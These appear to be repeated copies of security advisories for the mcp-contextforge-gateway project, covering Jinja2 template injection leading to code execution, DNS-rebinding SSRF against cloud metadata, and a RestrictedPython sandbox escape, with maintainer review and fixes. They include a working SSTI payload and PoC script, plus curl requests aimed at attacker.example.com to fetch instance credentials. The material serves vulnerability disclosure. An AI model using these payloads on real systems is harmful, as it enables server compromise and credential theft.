Vulnerable code

mcpgateway/services/prompt_service.py, line 26:

from jinja2 import Environment, meta, select_autoescape

mcpgateway/services/prompt_service.py, line 135 (inside PromptService.__init__):

self._jinja_env = Environment(
    autoescape=select_autoescape(["html", "xml"]),
    trim_blocks=True,
    lstrip_blocks=True,
)

mcpgateway/services/prompt_service.py, lines 1592–1616 (_render_template):

def _render_template(self, template: str, arguments: Dict[str, str]) -> str:
    ...
    try:
        jinja_template = self._jinja_env.from_string(template)
        return jinja_template.render(**arguments)
    except Exception:
        try:
            return template.format(**arguments)
        except Exception as e:
            raise PromptError(f"Failed to render template: {str(e)}")

_render_template is invoked from PromptService.get_prompt (line 892):

rendered = self._render_template(prompt.template, arguments)

Where prompt.template is loaded from the database. The template field of the database row is populated via the register_prompt, update_prompt, and register_prompts_bulk API endpoints, which accept attacker-controlled template content from authenticated API callers.

Because self._jinja_env is a plain jinja2.Environment rather than jinja2.sandbox.SandboxedEnvironment, Jinja2 imposes no restrictions on attribute traversal, function calls, or built-in access during rendering. A template that traverses to __builtins__.__import__ and calls os.popen (or any equivalent chain) executes arbitrary code at render time.

PoC

The reproducer requires only the published package and a Python interpreter; no network, database, or container setup is needed because the vulnerability sits in the in-process render method.

Setup

pip install mcp-contextforge-gateway==0.9.0

Reproducer (poc.py)

import os
import warnings

with warnings.catch_warnings():
    warnings.simplefilter("ignore")
    from mcpgateway.services.prompt_service import PromptService

import mcpgateway
print(f"[+] mcpgateway version: {mcpgateway.__version__}")

PROOF = os.path.abspath("MCPGATEWAY_RCE_PROOF.txt")
if os.path.exists(PROOF):
    os.remove(PROOF)

service = PromptService()
print(f"[+] PromptService._jinja_env type: {type(service._jinja_env).__name__}")

payload = (
    "{{ self.__init__.__globals__.__builtins__"
    ".__import__('os').popen('echo MCPGATEWAY_RCE > "
    + PROOF.replace('\\', '/') + "').read() }}"
)

print(f"[+] PROOF exists before render: {os.path.exists(PROOF)}")
service._render_template(payload, {})
print(f"[+] PROOF exists after render:  {os.path.exists(PROOF)}")

if os.path.exists(PROOF):
    with open(PROOF) as f:
        print(f"[+] PROOF contents: {f.read().strip()!r}")

Verified output

[+] mcpgateway version: 0.9.0
[+] PromptService._jinja_env type: Environment
[+] PROOF exists before render: False
[+] PROOF exists after render:  True
[+] PROOF contents: 'MCPGATEWAY_RCE'

The file MCPGATEWAY_RCE_PROOF.txt is written to disk by the embedded os.popen call, demonstrating arbitrary command execution in the gateway process. Replacing echo MCPGATEWAY_RCE > ... with any other command (e.g., reading filesystem contents, opening a reverse shell, exfiltrating environment secrets) produces the corresponding effect.

End-to-end via the API

A full attack against a deployed gateway uses the same payload supplied as the template field to POST /prompts (or PUT /prompts/{id}). Once stored, the template fires every time the prompt is rendered via the gateway's MCP prompts/get flow.

Impact

This is a Server-Side Template Injection vulnerability in a component (PromptService) that is exposed via the gateway's REST API. The attacker requirement is authenticated API access with permission to register or update prompts — a normal capability for users in the gateway's intended deployment model.

Successful exploitation yields:

• Arbitrary command execution on the gateway host with the gateway process's privileges
• Read/write access to the gateway's filesystem
• Read access to environment variables (including secrets, API keys, JWT signing keys, database credentials)
• Network access from the gateway host (lateral movement, internal request forgery beyond the gateway's normal SSRF protections, exfiltration to external endpoints)
• Persistence by registering additional malicious prompts, modifying configuration, or writing to disk

Affected user populations:

• Any deployment running a published version of mcp-contextforge-gateway from PyPI
• Multi-tenant deployments where any tenant can register prompts: a single tenant compromises the whole gateway and indirectly all other tenants
• CI/CD pipelines that programmatically register prompt templates from untrusted sources
• Deployments that import or sync prompt definitions from external registries

Suggested remediation requests:

1. Issue a CVE / GitHub Security Advisory for the affected published versions so downstream users receive Dependabot and security-scanner alerts
2. Publish the patched release to PyPI so pip install --upgrade returns a fixed version
3. Mark the relevant CHANGELOG.md entry as a security fix and add an upgrade-urgency note in SECURITY.md for users still on affected versions

Maintainer review (accepted)

Reproduced and accepted. Findings from the maintainer's review:

Confirmed valid (SSTI → RCE). In mcpgateway/services/prompt_service.py as published in v0.9.0 (and all earlier releases), _render_template() runs Environment().from_string(template).render(**args) on a plain, unsandboxed jinja2.Environment (v0.9.0 line 27: from jinja2 import Environment). With no render-time sandbox, the __builtins__.__import__('os').popen(...) chain executes arbitrary code in the gateway process. Verified against the v0.9.0 source.

Reachable with attacker-controlled input. The template field is persisted by the authenticated write paths — POST /prompts (prompts.create), prompt update (prompts.update), and bulk register — then rendered in get_prompt() → _render_template(). Any authenticated principal holding prompts.create/prompts.update reaches RCE. CWE-1336 / CWE-94 and High severity confirmed.

Scope (set on this advisory): affected < 1.0.0 (0.1.0–0.9.0); patched 1.0.0.

Already fixed. Migrated to SandboxedEnvironment in #4072 (commit 4d3100466, 2026-04-24), shipped in v1.0.0. Current main (1.0.3) additionally prevents the str.format() fallback from re-opening the attribute path when the sandbox rejects an expression (a jinja2.exceptions.SecurityError no longer falls through to .format()).

Correction to the report. "Patched version not installable via pip" is now stale — 1.0.0 through 1.0.3 are published on PyPI. Remediation for users is upgrade to >= 1.0.0.

Audit. Other jinja2.Environment usages in the codebase (main.py, version.py, tools/builder, email templates, content_security.py) render trusted on-disk templates via FileSystemLoader or are parse-only — none render user-supplied template strings. No second instance of this pattern.

Summary

The /admin/gateways/test endpoint validates submitted URLs by resolving the hostname at validation time and blocking private address ranges. The HTTP client independently re-resolves DNS at connection time with no IP binding between the two operations, creating a TOCTOU window exploitable via DNS rebinding. The source code explicitly acknowledges this limitation in two separate locations.

Details

validate_gateway_test_url() in mcpgateway/common/validators.py (lines 1527–1710) calls socket.getaddrinfo() on the submitted hostname, checks whether the resolved IP falls in private, loopback, link-local, or cloud-metadata ranges (including 169.254.169.254, 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16), and accepts the URL if the result is clean. The validated URL is then passed to the HTTP client as the original hostname string, not as the validated IP address.

The HTTP client (httpx, via ResilientHttpClient) performs its own independent DNS resolution at connection time. No mechanism bridges the two resolutions:

• The validated IP address is never passed to the HTTP client.
• Only the original hostname is forwarded, triggering a second independent lookup.
• No TTL enforcement, mandatory DNS-cache reuse, or IP-level socket binding is implemented.

The configuration options ssrf_blocked_networks (default: enabled, covers 169.254.169.254/32, link-local ranges, etc.) and ssrf_dns_fail_closed (default: True) apply exclusively at validation time. They share the same TOCTOU gap because they operate on the validation-time resolution result, not on the connection-time resolution performed by the HTTP client.

Two independent acknowledgements in the source code

Location 1 — mcpgateway/common/validators.py, lines 1537–1543 (function docstring of validate_gateway_test_url):

"DNS TOCTOU Limitation: This validation resolves DNS at validation time, but the HTTP client will re-resolve DNS at connection time. An attacker controlling DNS can return a public IP during validation and a private IP during connection (DNS rebinding). True mitigation requires pinning the validated IP into the connection (custom resolver/transport, or IP allowlist check at connect callback). This is tracked as a known limitation for future improvement."

Location 2 — mcpgateway/admin.py, lines 14025–14029 (call site comment):

"TODO(ICACF-15): DNS rebinding risk — allowlist and SSRF checks resolve DNS, but the actual ResilientHttpClient request resolves DNS a third time. An attacker-controlled DNS server could return a public IP during validation and a private IP during the actual request. Consider pinning the resolved IP for outbound requests (custom transport) or caching DNS resolution across validation and request phases."

The existence of a named TODO ticket (ICACF-15) confirms the maintainers consider this an open, tracked defect.

Prerequisites

1. MCPGATEWAY_ADMIN_API_ENABLED=true (not the default; must be explicitly enabled by an operator).
2. The attacker holds a credential with explicit gateways.read permission assigned via a database role.

Regarding prerequisite 2: the endpoint is decorated with @require_permission("gateways.read", allow_admin_bypass=False). The allow_admin_bypass=False flag explicitly disables the platform-admin shortcut, meaning even a platform admin must hold an explicit database-backed role assignment that carries gateways.read. A credential produced solely via the platform-admin bootstrap bypass described in the companion advisory (GHSA-m8rv-5m6m-32ff) — a virtual identity with no database record — is rejected with HTTP 403 at this endpoint because no role lookup can succeed without a database row. An attacker who has forged a JWT via that bootstrap path does not automatically gain access to this endpoint; they still require a separately provisioned account with an appropriate role.

Proof of Concept

Setup

cd /opt/mcp-cf-test
MCPGATEWAY_ADMIN_API_ENABLED=true \
JWT_SECRET_KEY=my-test-key-but-now-longer-than-32-bytes \
uvicorn mcpgateway.main:app --host 0.0.0.0 --port 8000 &
sleep 5

Step 1 — Obtain a token for an account with database role assignment

The exploit requires a credential for a user who exists in the database with a role carrying gateways.read (e.g., platform_admin, which holds the * wildcard). Register a user through the Admin UI or API and assign the platform_admin role, then generate a JWT:

import datetime, jwt, uuid

SECRET = "my-test-key-but-now-longer-than-32-bytes"
EMAIL  = "admin@example.com"   # must have platform_admin role in DB
now    = datetime.datetime.now(datetime.timezone.utc)

payload = {
    "sub": EMAIL,
    "aud": "mcpgateway-api",
    "iss": "mcpgateway",
    "jti": str(uuid.uuid4()),
    "iat": now,
    "exp": now + datetime.timedelta(hours=1),
}
print(jwt.encode(payload, SECRET, algorithm="HS256"), end="")

TOKEN=$(python3 /tmp/gen_token.py)

Step 2 — Baseline control: direct private IP is rejected

Submitting a literal private IP is blocked unconditionally before any DNS resolution occurs:

curl -s -w "\nHTTP %{http_code}\n" \
  -X POST http://127.0.0.1:8000/admin/gateways/test \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://169.254.169.254/latest/meta-data/", "method": "GET"}'
# Expected: HTTP 400 — "Invalid gateway URL"

Step 3 — DNS rebinding attack

1. Attacker controls DNS for attacker.example.com with TTL set to 1 second.
2. Initial record: attacker.example.com → 1.2.3.4 (any public IP).
3. Submit the request:

curl -s -w "\nHTTP %{http_code}\n" \
  -X POST http://127.0.0.1:8000/admin/gateways/test \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://attacker.example.com/latest/meta-data/", "method": "GET"}'

4. validate_gateway_test_url() resolves attacker.example.com → 1.2.3.4; all SSRF checks pass.
5. Attacker immediately flips the DNS record: attacker.example.com → 169.254.169.254.
6. httpx independently re-resolves the hostname and connects to 169.254.169.254.
7. The gateway returns the IMDS response body to the caller.

Standard DNS rebinding infrastructure (e.g., rbndr.us) reliably achieves this window against the 1-second TTL. In cloud environments with IMDSv2 disabled or not enforced, the response contains IAM role credentials.

Impact

Server-Side Request Forgery against internal services and cloud instance metadata. An attacker with a sufficiently privileged credential can probe internal network services, retrieve cloud credentials from 169.254.169.254/latest/meta-data/iam/security credentials/, access internal APIs not exposed to the internet, or conduct port scanning of the internal network. In cloud environments where IMDSv1 is accessible, this can lead to full cloud account compromise through metadata-service credential theft.

Suggested Fix

After DNS validation passes, pin the connection to the validated IP address rather than re-passing the hostname to the HTTP client. Implement this via a custom httpx transport or resolver that binds the socket to the already-resolved address and sets the Host header to the original hostname. Additionally, enforce a maximum DNS resolution age and refuse to connect if the elapsed time between validation and connection exceeds a configurable threshold. The codebase already tracks this requirement under TODO ICACF-15; the suggested fix closes it.

Commit: f855e54d5b7bc1c91b977574a03b91eff6b86bb6 Component: mcp-servers/python/python_sandbox_server/src/python_sandbox_server/server_fastmcp.py

Vulnerability

RestrictedPython's sandbox in ContextForge's python_sandbox_server sub-project allows arbitrary Python execution via three compounding weaknesses:

1. Raw getattr is exposed in safe_builtins, bypassing _getattr_ mediation.
2. validate_code checks for literal dangerous dunder strings, but the payload constructs those names at runtime.
3. The execute_code MCP tool can be exposed over HTTP/SSE transport with no authentication layer.

Proof of Concept

The local PoC was executed against the real pinned sandbox code path. It constructs dunder names at runtime, walks Python's class hierarchy through the exposed getattr, finds subprocess.Popen, and executes a harmless marker command.

Transcript excerpt:

POC: IBM/mcp-context-forge RestrictedPython getattr sandbox bypass
validation={'valid': True, 'message': 'Code passed validation', 'warnings': None}
success=True
stdout="FOUND_POPEN\nb'IBM_SANDBOX_POC_PASS'\n"
IBM_RESTRICTEDPYTHON_GETATTR_POPEN_REPRO_PASS

PoC artifact hashes:

beb2d856c5a1b7c10005c9c0fccaf3d491d4fbcc2a69bc54b5e95c5730c0874b  run.py
1037dcb4f0831a3c96ca728527f939af1d3e19514b23ef54f663707875748ff8  run.sh
7026e676ee31916886f10feed959ffdbe486fda05b17421387e4717acbf90ba6  transcript.txt

Production Deployment Context

ContextForge's documentation describes registering MCP servers as gateways in a running ContextForge instance. If this sandbox server is reachable over HTTP in that pattern, any client that can reach the endpoint can submit the payload through tools/call.

Impact

An attacker with access to the python_sandbox_server HTTP endpoint can execute OS commands with the privileges of the server process. In containerized deployments with host mounts or internal network reachability, this can become filesystem compromise or network pivoting from the gateway host.

Suggested Fix

Remove raw getattr and setattr from safe_builtins, expose only policy-controlled attribute access if dynamic lookup is required, replace substring filtering with a stricter RestrictedPython policy pipeline, and add authentication to HTTP transport for all tools/call requests.

Caveats

This report covers the python_sandbox_server sub-project. The core ContextForge gateway and proxy components are not directly affected. The Critical score assumes HTTP reachability; stdio-only deployments reduce the attack vector.

Summary

mcpgateway.services.prompt_service.PromptService renders user-supplied prompt templates using Jinja2's plain Environment() rather than SandboxedEnvironment. An authenticated user with permission to register or update prompt templates can store a malicious template that, on subsequent rendering, executes arbitrary Python code on the gateway host with the privileges of the gateway process. This is a Server-Side Template Injection (SSTI) vulnerability leading to Remote Code Execution.

Details

Affected component: mcpgateway/services/prompt_service.py Affected version: 0.9.0 (verified). The fix in the unreleased main branch indicates all earlier published versions are likewise affected.

Vulnerable code

mcpgateway/services/prompt_service.py, line 26:

from jinja2 import Environment, meta, select_autoescape

mcpgateway/services/prompt_service.py, line 135 (inside PromptService.__init__):

self._jinja_env = Environment(
    autoescape=select_autoescape(["html", "xml"]),
    trim_blocks=True,
    lstrip_blocks=True,
)

mcpgateway/services/prompt_service.py, lines 1592–1616 (_render_template):

def _render_template(self, template: str, arguments: Dict[str, str]) -> str:
    ...
    try:
        jinja_template = self._jinja_env.from_string(template)
        return jinja_template.render(**arguments)
    except Exception:
        try:
            return template.format(**arguments)
        except Exception as e:
            raise PromptError(f"Failed to render template: {str(e)}")

_render_template is invoked from PromptService.get_prompt (line 892):

rendered = self._render_template(prompt.template, arguments)

Where prompt.template is loaded from the database. The template field of the database row is populated via the register_prompt, update_prompt, and register_prompts_bulk API endpoints, which accept attacker-controlled template content from authenticated API callers.

Because self._jinja_env is a plain jinja2.Environment rather than jinja2.sandbox.SandboxedEnvironment, Jinja2 imposes no restrictions on attribute traversal, function calls, or built-in access during rendering. A template that traverses to __builtins__.__import__ and calls os.popen (or any equivalent chain) executes arbitrary code at render time.

PoC

The reproducer requires only the published package and a Python interpreter; no network, database, or container setup is needed because the vulnerability sits in the in-process render method.

Setup

pip install mcp-contextforge-gateway==0.9.0

Reproducer (poc.py)

import os
import warnings

with warnings.catch_warnings():
    warnings.simplefilter("ignore")
    from mcpgateway.services.prompt_service import PromptService

import mcpgateway
print(f"[+] mcpgateway version: {mcpgateway.__version__}")

PROOF = os.path.abspath("MCPGATEWAY_RCE_PROOF.txt")
if os.path.exists(PROOF):
    os.remove(PROOF)

service = PromptService()
print(f"[+] PromptService._jinja_env type: {type(service._jinja_env).__name__}")

payload = (
    "{{ self.__init__.__globals__.__builtins__"
    ".__import__('os').popen('echo MCPGATEWAY_RCE > "
    + PROOF.replace('\\', '/') + "').read() }}"
)

print(f"[+] PROOF exists before render: {os.path.exists(PROOF)}")
service._render_template(payload, {})
print(f"[+] PROOF exists after render:  {os.path.exists(PROOF)}")

if os.path.exists(PROOF):
    with open(PROOF) as f:
        print(f"[+] PROOF contents: {f.read().strip()!r}")

Verified output

[+] mcpgateway version: 0.9.0
[+] PromptService._jinja_env type: Environment
[+] PROOF exists before render: False
[+] PROOF exists after render:  True
[+] PROOF contents: 'MCPGATEWAY_RCE'

The file MCPGATEWAY_RCE_PROOF.txt is written to disk by the embedded os.popen call, demonstrating arbitrary command execution in the gateway process. Replacing echo MCPGATEWAY_RCE > ... with any other command (e.g., reading filesystem contents, opening a reverse shell, exfiltrating environment secrets) produces the corresponding effect.

End-to-end via the API

A full attack against a deployed gateway uses the same payload supplied as the template field to POST /prompts (or PUT /prompts/{id}). Once stored, the template fires every time the prompt is rendered via the gateway's MCP prompts/get flow.

Impact

This is a Server-Side Template Injection vulnerability in a component (PromptService) that is exposed via the gateway's REST API. The attacker requirement is authenticated API access with permission to register or update prompts — a normal capability for users in the gateway's intended deployment model.

Successful exploitation yields:

• Arbitrary command execution on the gateway host with the gateway process's privileges
• Read/write access to the gateway's filesystem
• Read access to environment variables (including secrets, API keys, JWT signing keys, database credentials)
• Network access from the gateway host (lateral movement, internal request forgery beyond the gateway's normal SSRF protections, exfiltration to external endpoints)
• Persistence by registering additional malicious prompts, modifying configuration, or writing to disk

Affected user populations:

• Any deployment running a published version of mcp-contextforge-gateway from PyPI
• Multi-tenant deployments where any tenant can register prompts: a single tenant compromises the whole gateway and indirectly all other tenants
• CI/CD pipelines that programmatically register prompt templates from untrusted sources
• Deployments that import or sync prompt definitions from external registries

Suggested remediation requests:

1. Issue a CVE / GitHub Security Advisory for the affected published versions so downstream users receive Dependabot and security-scanner alerts
2. Publish the patched release to PyPI so pip install --upgrade returns a fixed version
3. Mark the relevant CHANGELOG.md entry as a security fix and add an upgrade-urgency note in SECURITY.md for users still on affected versions

Maintainer review (accepted)

Reproduced and accepted. Findings from the maintainer's review:

Confirmed valid (SSTI → RCE). In mcpgateway/services/prompt_service.py as published in v0.9.0 (and all earlier releases), _render_template() runs Environment().from_string(template).render(**args) on a plain, unsandboxed jinja2.Environment (v0.9.0 line 27: from jinja2 import Environment). With no render-time sandbox, the __builtins__.__import__('os').popen(...) chain executes arbitrary code in the gateway process. Verified against the v0.9.0 source.

Reachable with attacker-controlled input. The template field is persisted by the authenticated write paths — POST /prompts (prompts.create), prompt update (prompts.update), and bulk register — then rendered in get_prompt() → _render_template(). Any authenticated principal holding prompts.create/prompts.update reaches RCE. CWE-1336 / CWE-94 and High severity confirmed.

Scope (set on this advisory): affected < 1.0.0 (0.1.0–0.9.0); patched 1.0.0.

Already fixed. Migrated to SandboxedEnvironment in #4072 (commit 4d3100466, 2026-04-24), shipped in v1.0.0. Current main (1.0.3) additionally prevents the str.format() fallback from re-opening the attribute path when the sandbox rejects an expression (a jinja2.exceptions.SecurityError no longer falls through to .format()).

Correction to the report. "Patched version not installable via pip" is now stale — 1.0.0 through 1.0.3 are published on PyPI. Remediation for users is upgrade to >= 1.0.0.

Audit. Other jinja2.Environment usages in the codebase (main.py, version.py, tools/builder, email templates, content_security.py) render trusted on-disk templates via FileSystemLoader or are parse-only — none render user-supplied template strings. No second instance of this pattern.

Summary

The /admin/gateways/test endpoint validates submitted URLs by resolving the hostname at validation time and blocking private address ranges. The HTTP client independently re-resolves DNS at connection time with no IP binding between the two operations, creating a TOCTOU window exploitable via DNS rebinding. The source code explicitly acknowledges this limitation in two separate locations.

Details

validate_gateway_test_url() in mcpgateway/common/validators.py (lines 1527–1710) calls socket.getaddrinfo() on the submitted hostname, checks whether the resolved IP falls in private, loopback, link-local, or cloud-metadata ranges (including 169.254.169.254, 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16), and accepts the URL if the result is clean. The validated URL is then passed to the HTTP client as the original hostname string, not as the validated IP address.

The HTTP client (httpx, via ResilientHttpClient) performs its own independent DNS resolution at connection time. No mechanism bridges the two resolutions:

• The validated IP address is never passed to the HTTP client.
• Only the original hostname is forwarded, triggering a second independent lookup.
• No TTL enforcement, mandatory DNS-cache reuse, or IP-level socket binding is implemented.

The configuration options ssrf_blocked_networks (default: enabled, covers 169.254.169.254/32, link-local ranges, etc.) and ssrf_dns_fail_closed (default: True) apply exclusively at validation time. They share the same TOCTOU gap because they operate on the validation-time resolution result, not on the connection-time resolution performed by the HTTP client.

Two independent acknowledgements in the source code

Location 1 — mcpgateway/common/validators.py, lines 1537–1543 (function docstring of validate_gateway_test_url):

"DNS TOCTOU Limitation: This validation resolves DNS at validation time, but the HTTP client will re-resolve DNS at connection time. An attacker controlling DNS can return a public IP during validation and a private IP during connection (DNS rebinding). True mitigation requires pinning the validated IP into the connection (custom resolver/transport, or IP allowlist check at connect callback). This is tracked as a known limitation for future improvement."

Location 2 — mcpgateway/admin.py, lines 14025–14029 (call site comment):

"TODO(ICACF-15): DNS rebinding risk — allowlist and SSRF checks resolve DNS, but the actual ResilientHttpClient request resolves DNS a third time. An attacker-controlled DNS server could return a public IP during validation and a private IP during the actual request. Consider pinning the resolved IP for outbound requests (custom transport) or caching DNS resolution across validation and request phases."

The existence of a named TODO ticket (ICACF-15) confirms the maintainers consider this an open, tracked defect.

Prerequisites

1. MCPGATEWAY_ADMIN_API_ENABLED=true (not the default; must be explicitly enabled by an operator).
2. The attacker holds a credential with explicit gateways.read permission assigned via a database role.

Regarding prerequisite 2: the endpoint is decorated with @require_permission("gateways.read", allow_admin_bypass=False). The allow_admin_bypass=False flag explicitly disables the platform-admin shortcut, meaning even a platform admin must hold an explicit database-backed role assignment that carries gateways.read. A credential produced solely via the platform-admin bootstrap bypass described in the companion advisory (GHSA-m8rv-5m6m-32ff) — a virtual identity with no database record — is rejected with HTTP 403 at this endpoint because no role lookup can succeed without a database row. An attacker who has forged a JWT via that bootstrap path does not automatically gain access to this endpoint; they still require a separately provisioned account with an appropriate role.

Proof of Concept

Setup

cd /opt/mcp-cf-test
MCPGATEWAY_ADMIN_API_ENABLED=true \
JWT_SECRET_KEY=my-test-key-but-now-longer-than-32-bytes \
uvicorn mcpgateway.main:app --host 0.0.0.0 --port 8000 &
sleep 5

Step 1 — Obtain a token for an account with database role assignment

The exploit requires a credential for a user who exists in the database with a role carrying gateways.read (e.g., platform_admin, which holds the * wildcard). Register a user through the Admin UI or API and assign the platform_admin role, then generate a JWT:

import datetime, jwt, uuid

SECRET = "my-test-key-but-now-longer-than-32-bytes"
EMAIL  = "admin@example.com"   # must have platform_admin role in DB
now    = datetime.datetime.now(datetime.timezone.utc)

payload = {
    "sub": EMAIL,
    "aud": "mcpgateway-api",
    "iss": "mcpgateway",
    "jti": str(uuid.uuid4()),
    "iat": now,
    "exp": now + datetime.timedelta(hours=1),
}
print(jwt.encode(payload, SECRET, algorithm="HS256"), end="")

TOKEN=$(python3 /tmp/gen_token.py)

Step 2 — Baseline control: direct private IP is rejected

Submitting a literal private IP is blocked unconditionally before any DNS resolution occurs:

curl -s -w "\nHTTP %{http_code}\n" \
  -X POST http://127.0.0.1:8000/admin/gateways/test \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://169.254.169.254/latest/meta-data/", "method": "GET"}'
# Expected: HTTP 400 — "Invalid gateway URL"

Step 3 — DNS rebinding attack

1. Attacker controls DNS for attacker.example.com with TTL set to 1 second.
2. Initial record: attacker.example.com → 1.2.3.4 (any public IP).
3. Submit the request:

curl -s -w "\nHTTP %{http_code}\n" \
  -X POST http://127.0.0.1:8000/admin/gateways/test \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://attacker.example.com/latest/meta-data/", "method": "GET"}'

4. validate_gateway_test_url() resolves attacker.example.com → 1.2.3.4; all SSRF checks pass.
5. Attacker immediately flips the DNS record: attacker.example.com → 169.254.169.254.
6. httpx independently re-resolves the hostname and connects to 169.254.169.254.
7. The gateway returns the IMDS response body to the caller.

Standard DNS rebinding infrastructure (e.g., rbndr.us) reliably achieves this window against the 1-second TTL. In cloud environments with IMDSv2 disabled or not enforced, the response contains IAM role credentials.

Impact

Server-Side Request Forgery against internal services and cloud instance metadata. An attacker with a sufficiently privileged credential can probe internal network services, retrieve cloud credentials from 169.254.169.254/latest/meta-data/iam/security credentials/, access internal APIs not exposed to the internet, or conduct port scanning of the internal network. In cloud environments where IMDSv1 is accessible, this can lead to full cloud account compromise through metadata-service credential theft.

Suggested Fix

After DNS validation passes, pin the connection to the validated IP address rather than re-passing the hostname to the HTTP client. Implement this via a custom httpx transport or resolver that binds the socket to the already-resolved address and sets the Host header to the original hostname. Additionally, enforce a maximum DNS resolution age and refuse to connect if the elapsed time between validation and connection exceeds a configurable threshold. The codebase already tracks this requirement under TODO ICACF-15; the suggested fix closes it.

Commit: f855e54d5b7bc1c91b977574a03b91eff6b86bb6 Component: mcp-servers/python/python_sandbox_server/src/python_sandbox_server/server_fastmcp.py

Vulnerability

RestrictedPython's sandbox in ContextForge's python_sandbox_server sub-project allows arbitrary Python execution via three compounding weaknesses:

1. Raw getattr is exposed in safe_builtins, bypassing _getattr_ mediation.
2. validate_code checks for literal dangerous dunder strings, but the payload constructs those names at runtime.
3. The execute_code MCP tool can be exposed over HTTP/SSE transport with no authentication layer.

Proof of Concept

The local PoC was executed against the real pinned sandbox code path. It constructs dunder names at runtime, walks Python's class hierarchy through the exposed getattr, finds subprocess.Popen, and executes a harmless marker command.

Transcript excerpt:

POC: IBM/mcp-context-forge RestrictedPython getattr sandbox bypass
validation={'valid': True, 'message': 'Code passed validation', 'warnings': None}
success=True
stdout="FOUND_POPEN\nb'IBM_SANDBOX_POC_PASS'\n"
IBM_RESTRICTEDPYTHON_GETATTR_POPEN_REPRO_PASS

PoC artifact hashes:

beb2d856c5a1b7c10005c9c0fccaf3d491d4fbcc2a69bc54b5e95c5730c0874b  run.py
1037dcb4f0831a3c96ca728527f939af1d3e19514b23ef54f663707875748ff8  run.sh
7026e676ee31916886f10feed959ffdbe486fda05b17421387e4717acbf90ba6  transcript.txt

Production Deployment Context

ContextForge's documentation describes registering MCP servers as gateways in a running ContextForge instance. If this sandbox server is reachable over HTTP in that pattern, any client that can reach the endpoint can submit the payload through tools/call.

Impact

An attacker with access to the python_sandbox_server HTTP endpoint can execute OS commands with the privileges of the server process. In containerized deployments with host mounts or internal network reachability, this can become filesystem compromise or network pivoting from the gateway host.

Suggested Fix

Remove raw getattr and setattr from safe_builtins, expose only policy-controlled attribute access if dynamic lookup is required, replace substring filtering with a stricter RestrictedPython policy pipeline, and add authentication to HTTP transport for all tools/call requests.

Caveats

This report covers the python_sandbox_server sub-project. The core ContextForge gateway and proxy components are not directly affected. The Critical score assumes HTTP reachability; stdio-only deployments reduce the attack vector.

Summary

mcpgateway.services.prompt_service.PromptService renders user-supplied prompt templates using Jinja2's plain Environment() rather than SandboxedEnvironment. An authenticated user with permission to register or update prompt templates can store a malicious template that, on subsequent rendering, executes arbitrary Python code on the gateway host with the privileges of the gateway process. This is a Server-Side Template Injection (SSTI) vulnerability leading to Remote Code Execution.

Details

Affected component: mcpgateway/services/prompt_service.py Affected version: 0.9.0 (verified). The fix in the unreleased main branch indicates all earlier published versions are likewise affected.

Vulnerable code

mcpgateway/services/prompt_service.py, line 26:

from jinja2 import Environment, meta, select_autoescape

mcpgateway/services/prompt_service.py, line 135 (inside PromptService.__init__):

self._jinja_env = Environment(
    autoescape=select_autoescape(["html", "xml"]),
    trim_blocks=True,
    lstrip_blocks=True,
)

mcpgateway/services/prompt_service.py, lines 1592–1616 (_render_template):

def _render_template(self, template: str, arguments: Dict[str, str]) -> str:
    ...
    try:
        jinja_template = self._jinja_env.from_string(template)
        return jinja_template.render(**arguments)
    except Exception:
        try:
            return template.format(**arguments)
        except Exception as e:
            raise PromptError(f"Failed to render template: {str(e)}")

_render_template is invoked from PromptService.get_prompt (line 892):

rendered = self._render_template(prompt.template, arguments)

Where prompt.template is loaded from the database. The template field of the database row is populated via the register_prompt, update_prompt, and register_prompts_bulk API endpoints, which accept attacker-controlled template content from authenticated API callers.

Because self._jinja_env is a plain jinja2.Environment rather than jinja2.sandbox.SandboxedEnvironment, Jinja2 imposes no restrictions on attribute traversal, function calls, or built-in access during rendering. A template that traverses to __builtins__.__import__ and calls os.popen (or any equivalent chain) executes arbitrary code at render time.

PoC

The reproducer requires only the published package and a Python interpreter; no network, database, or container setup is needed because the vulnerability sits in the in-process render method.

Setup

pip install mcp-contextforge-gateway==0.9.0

Reproducer (poc.py)

import os
import warnings

with warnings.catch_warnings():
    warnings.simplefilter("ignore")
    from mcpgateway.services.prompt_service import PromptService

import mcpgateway
print(f"[+] mcpgateway version: {mcpgateway.__version__}")

PROOF = os.path.abspath("MCPGATEWAY_RCE_PROOF.txt")
if os.path.exists(PROOF):
    os.remove(PROOF)

service = PromptService()
print(f"[+] PromptService._jinja_env type: {type(service._jinja_env).__name__}")

payload = (
    "{{ self.__init__.__globals__.__builtins__"
    ".__import__('os').popen('echo MCPGATEWAY_RCE > "
    + PROOF.replace('\\', '/') + "').read() }}"
)

print(f"[+] PROOF exists before render: {os.path.exists(PROOF)}")
service._render_template(payload, {})
print(f"[+] PROOF exists after render:  {os.path.exists(PROOF)}")

if os.path.exists(PROOF):
    with open(PROOF) as f:
        print(f"[+] PROOF contents: {f.read().strip()!r}")

Verified output

[+] mcpgateway version: 0.9.0
[+] PromptService._jinja_env type: Environment
[+] PROOF exists before render: False
[+] PROOF exists after render:  True
[+] PROOF contents: 'MCPGATEWAY_RCE'

The file MCPGATEWAY_RCE_PROOF.txt is written to disk by the embedded os.popen call, demonstrating arbitrary command execution in the gateway process. Replacing echo MCPGATEWAY_RCE > ... with any other command (e.g., reading filesystem contents, opening a reverse shell, exfiltrating environment secrets) produces the corresponding effect.

End-to-end via the API

A full attack against a deployed gateway uses the same payload supplied as the template field to POST /prompts (or PUT /prompts/{id}). Once stored, the template fires every time the prompt is rendered via the gateway's MCP prompts/get flow.

Impact

This is a Server-Side Template Injection vulnerability in a component (PromptService) that is exposed via the gateway's REST API. The attacker requirement is authenticated API access with permission to register or update prompts — a normal capability for users in the gateway's intended deployment model.

Successful exploitation yields:

• Arbitrary command execution on the gateway host with the gateway process's privileges
• Read/write access to the gateway's filesystem
• Read access to environment variables (including secrets, API keys, JWT signing keys, database credentials)
• Network access from the gateway host (lateral movement, internal request forgery beyond the gateway's normal SSRF protections, exfiltration to external endpoints)
• Persistence by registering additional malicious prompts, modifying configuration, or writing to disk

Affected user populations:

• Any deployment running a published version of mcp-contextforge-gateway from PyPI
